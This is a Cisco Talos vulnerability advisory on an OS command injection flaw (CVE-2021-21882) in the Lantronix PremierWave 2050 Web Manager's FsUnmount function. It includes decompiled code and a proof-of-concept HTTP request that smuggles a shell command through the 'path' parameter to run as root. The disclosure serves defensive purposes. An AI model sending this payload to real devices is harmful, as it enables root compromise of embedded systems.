Talos Vulnerability Report

TALOS-2021-1326

Lantronix PremierWave 2050 Web Manager FsUnmount OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21882

Summary

An OS command injection vulnerability exists in the Web Manager FsUnmount functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager interface allows an authenticated, but unprivileged, user to unmount USB mount points. This functionality is implemented using two exploitable `system` calls to `/sbin/ltrx_usb_umount` and `mount`. The underlying commands are built using an unsanitized attacker-controlled HTTP parameter, `path`. This command is executed with root privileges.

The relevant portion of the function responsible for handling the ajax function `FsUnmount` is partially included below.

```
...
dir = get_param_by_name("dir");
path = get_param_by_name("path");
sprintf((char *)mount_point, "%s%s", "/ltrx_user", path);
if ( !IseUSB(path) )                                                                    [1]
{
    cmd = sprintf_malloc("/sbin/ltrx_usb_umount '%s'", (const char *)mount_point);      [2]
    exec_system_cmd_print(cmd, 0, 0);
    ...
 }
 ...
```

At position [1] there is a function call to `IseUSB` which similarly relies on various `system` calls out to secondary applications via system. The relevant portion of the `IseUSB` function is included below.

```
int IseUSB(char* path) {
    ...
    cmd = sprintf_malloc("mount 2>/dev/null | grep 'on %s type' | awk '{print $1}' | tr -d '\n'", a1);
    exec_system_cmd_ex(cmd, &result, &num_bytes);
    ...
    cmd = sprintf_malloc("e2label %s 2>/dev/null | tr -d '\n'", result);
    ...
    exec_system_cmd_ex(v3, &result, num_bytes);
    ...
}
```

An attacker who submits a properly-formed HTTP `path` parameter can escape two of the shell commands and execute arbitrary OS commands with root privileges.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 37
Authorization: Basic dXNlcjp1c2Vy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsUnmount&dir=/&path='; whoami #
```

The above HTTP request will cause the following commands to be executed with root privilege:

```
/sbin/ltrx_usb_umount ''; whoami #
mount 2>/dev/null | grep 'on '; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1325

NEXT REPORT

TALOS-2021-1327

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.